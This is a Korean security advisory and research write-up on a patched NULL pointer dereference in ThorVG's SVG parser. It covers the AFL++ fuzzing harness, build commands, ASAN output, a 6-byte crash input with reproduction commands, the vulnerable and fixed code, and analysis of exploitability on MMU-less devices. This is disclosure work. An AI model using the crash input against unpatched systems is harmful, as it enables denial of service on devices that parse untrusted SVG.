
ThorVG NULL 포인터 역참조: 잘못된 SVG를 통한 AFL++ 퍼징 분석
심각도: CVSS 4.3 (중간) — CWE-476
권고: GHSA-f863-8ghq-7h64
수정 버전: ThorVG v1.0.5
상태: 패치됨 / 공개됨
ThorVG의 SVG 파서는 루트 <svg> 노드 내부에서 잘린 하위 요소 태그를 만나면 초기화되지 않은 포인터를 역참조합니다. 이 버그는 일반 렌더링 경로(tvg::Picture::load → parse → render)를 통해 도달할 수 있으며 6바이트 입력으로 트리거할 수 있습니다.
표준 Linux에서 최악의 영향은 프로세스 크래시(DoS)입니다. mmap_min_addr가 NULL 페이지 매핑을 방지하므로, 해당 환경에서는 이 결함을 코드 실행에 직접 악용할 수 없습니다. ThorVG가 사용되는 MMU가 없는 타깃(Tizen, LVGL 기반 펌웨어)에서는 악용 가능성 상황이 다르며, 더 면밀한 검토가 필요합니다.
ThorVG는 C++17로 작성된 크로스 플랫폼 벡터 그래픽 엔진입니다. 삼성 Tizen OS의 기본 SVG/Lottie 렌더러이며, LVGL(임베디드/IoT UI에서 널리 사용됨)에 번들로 포함되어 있고, 여러 플랫폼에서 독립 실행형 라이브러리로 배포됩니다.
이 라이브러리는 신뢰할 수 없는 SVG/JSON 입력을 처리하며, 권한 분리가 없는 환경에 자주 노출됩니다. 그래픽 라이브러리의 파서 코드는 역사적으로 메모리 안전 버그의 확실한 원천이었습니다. ThorVG는 활발히 개발되고 있으며, 이 연구 시점에 공개 버그 트래커에 기록된 퍼징 커버리지가 없었습니다.
하네스는 ThorVG의 인메모리 로드 API를 래핑하여 AFL++가 디스크 I/O 없이 파서를 직접 구동할 수 있게 합니다.
// fuzz_thorvg.cpp
#include <cstdint>
#include <cstring>
#include <thorvg.h>
extern "C" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
if (size == 0) return 0;
tvg::Initializer::init(tvg::CanvasEngine::Sw, 0);
auto canvas = tvg::SwCanvas::gen();
uint32_t buf[64 * 64] = {};
canvas->target(buf, 64, 64, 64, tvg::SwCanvas::ARGB8888);
auto picture = tvg::Picture::gen();
// Load SVG from raw bytes; mimeType hint "svg" triggers the SVG parser path
if (picture->load(reinterpret_cast<const char*>(data), size, "svg", false)
== tvg::Result::Success) {
canvas->push(tvg::cast(picture));
canvas->draw();
canvas->sync();
}
tvg::Initializer::term(tvg::CanvasEngine::Sw);
return 0;
}
ASAN + 커버리지 계측으로 빌드:
clang++ -std=c++17 -fsanitize=address,undefined -fprofile-instr-generate \
-fcoverage-mapping -O1 -g \
fuzz_thorvg.cpp -o fuzz_thorvg \
$(pkg-config --cflags --libs thorvg)
무작위 바이트로 처음부터 시작하면 형식에 민감한 파서에서는 성능이 좋지 않습니다. 저는 구조적으로 유효한 최소 SVG 파일 세트로 코퍼스를 시드했으며, 다음을 포함합니다:
<svg xmlns="..."/>)<rect>, <circle>, <path>)<g> 그룹이 있는 SVG<use> xlink 참조가 있는 SVG구조를 고려한 시드는 첫 번째 흥미로운 경로까지의 시간을 제 환경에서 몇 시간에서 20분 미만으로 단축했습니다.
AFL_AUTORESUME=1 afl-fuzz \
-i corpus/ \
-o findings/ \
-x svg.dict \
-m none \
-- ./fuzz_thorvg @@
-x svg.dict — 유효한 태그 이름 방향으로 변이를 돕기 위한 SVG 키워드가 포함된 AFL++ 토큰 사전.
-m none — ASAN 섀도 메모리를 사용하려면 AFL++의 메모리 제한을 비활성화해야 합니다.
AFL++는 단일 코어 퍼징 약 3시간 후에 크래시를 생성했습니다. 초기 크래시 입력은 약 180바이트였습니다. ASAN 출력:
==pid==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x... ...)
SEGV on address NULL
#0 in tvg::SvgParser::_parseStyle(...)
#1 in tvg::SvgParser::_createElement(...)
#2 in tvg::SvgParser::parse(...)
#3 in tvg::SvgLoader::read()
...
결함은 _parseStyle 내부에서 초기화되지 않은 (NULL) SvgNode* 포인터를 통한 읽기입니다. 이 포인터는 _createElement가 하위 요소를 처리할 때 설정되어야 하지만, 잘린 태그 이름으로 인해 요소가 건너뛰어지면서 포인터가 할당되지 않고, _parseStyle은 그와 무관하게 포인터를 역참조합니다.
afl-tmin으로 최소화한 후 수동 정리:
afl-tmin -i findings/crashes/id:000000 -o min -- ./fuzz_thorvg @@
afl-tmin 이후 입력은 14바이트였습니다. 파스 경로를 수동으로 검사한 결과 결함 발생 전에 처음 6바이트만 소비되었습니다:
<svg><
<svg>는 루트 노드를 엽니다. <는 하위 요소 태그를 시작합니다. 파서는 태그 이름을 읽고 빈 문자열을 얻은 후(< 바로 다음에 입력이 끝남), 요소 생성을 건너뛰고 노드 포인터가 여전히 NULL인 채로 _parseStyle로 넘어갑니다.
6바이트 트리거가 재현되는지 확인:
printf '<svg><' | ./fuzz_thorvg /dev/stdin
# or
echo -n '<svg><' > poc.svg && ./fuzz_thorvg poc.svg
src/loaders/svg/tvgSvgParser.cpp
취약한 흐름의 단순화된 의사 코드:
// _createElement returns nullptr when tag name is empty
SvgNode* node = _createElement(tagName); // tagName == "" → returns nullptr
// No NULL check before passing into style parser
_parseStyle(node, attributes); // ← dereferences node->style at offset 0x18
v1.0.5의 수정은 속성/스타일 처리가 시도되기 전에 _createElement가 nullptr을 반환하면 요소 디스패치 루프에서 조기 반환을 추가합니다.
/proc/sys/vm/mmap_min_addr는 최신 배포판에서 일반적으로 65536으로 설정됩니다. NULL 페이지가 매핑되지 않으므로 CPU가 SIGSEGV를 발생시키고 커널은 이를 프로세스에 시그널로 전달합니다. 결과는 **크래시(DoS)**입니다. 제어된 쓰기, PC 제어가 없으며 코드 실행에 직접 악용할 수 없습니다.
ThorVG는 Tizen(삼성 IoT/웨어러블 OS)에서 핵심 구성 요소이며, MMU가 없는 마이크로컨트롤러 및 시스템에서 실행되는 LVGL에 통합되어 있습니다.
MMU가 없는 시스템에는 메모리 보호 기능이 없으며 mmap_min_addr도 적용되지 않습니다. NULL 페이지가 매핑된 경우(베어메탈 임베디드 환경에서 흔함), NULL 포인터 역참조가 공격자가 제어하는 메모리를 가리킬 가능성이 있습니다. 실제 공격에서 도달 가능한지 여부는 공격 표면에 달려 있습니다. Tizen 디바이스의 ThorVG는 신뢰할 수 없는 네트워크 소스 또는 사용자 제공 콘텐츠에서 SVG를 파싱할 수 있습니다.
이러한 맥락이 CVSS 중간 위험도 발견 사항임에도 책임 있는 공개를 정당화합니다.
패치는 SVG 요소 디스패치 루프에 NULL 가드를 추가합니다:
// before (vulnerable)
SvgNode* node = _createElement(tag);
_parseStyle(node, attrs); // unconditional
// after (v1.0.5)
SvgNode* node = _createElement(tag);
if (!node) continue; // skip if element was not created
_parseStyle(node, attrs);
전체 diff: ThorVG v1.0.5 릴리스
# build from source with ASAN
git clone https://github.com/thorvg/thorvg && cd thorvg
git checkout <vulnerable-tag-before-v1.0.5>
meson setup build -Db_sanitize=address && ninja -C build
# compile harness against the built library
clang++ -std=c++17 -fsanitize=address -O1 -g \
fuzz_thorvg.cpp -o fuzz_thorvg \
-Ibuild/src/include -Lbuild/src -lthorvg
# trigger
printf '<svg><' | ./fuzz_thorvg /dev/stdin
예상 출력: tvg::SvgParser::_parseStyle에서 SEGV on unknown address 0x000000000000이 포함된 ASAN 리포트.
yeahhbean (이예빈)이 구조 인지 SVG 시드 코퍼스를 사용한 AFL++ 커버리지 가이드 퍼징을 통해 발견함.
| 날짜 | 이벤트 |
|---|
| 2026-xx-xx | AFL++를 통해 크래시 발견 |
| 2026-xx-xx | ASAN에서 근본 원인 확인; 6바이트 POC 생성 |
| 2026-xx-xx | GitHub Security Advisory를 통해 ThorVG 유지보수자(hermet)에게 비공개 보고서 전송 |
| 2026-xx-xx | 유지보수자가 인지하고 비공개 포크 생성 |
| 2026-xx-xx | v1.0.5에 패치 병합 |
| 2026-xx-xx | GHSA-f863-8ghq-7h64 게시; CVE-2026-45729 지정 |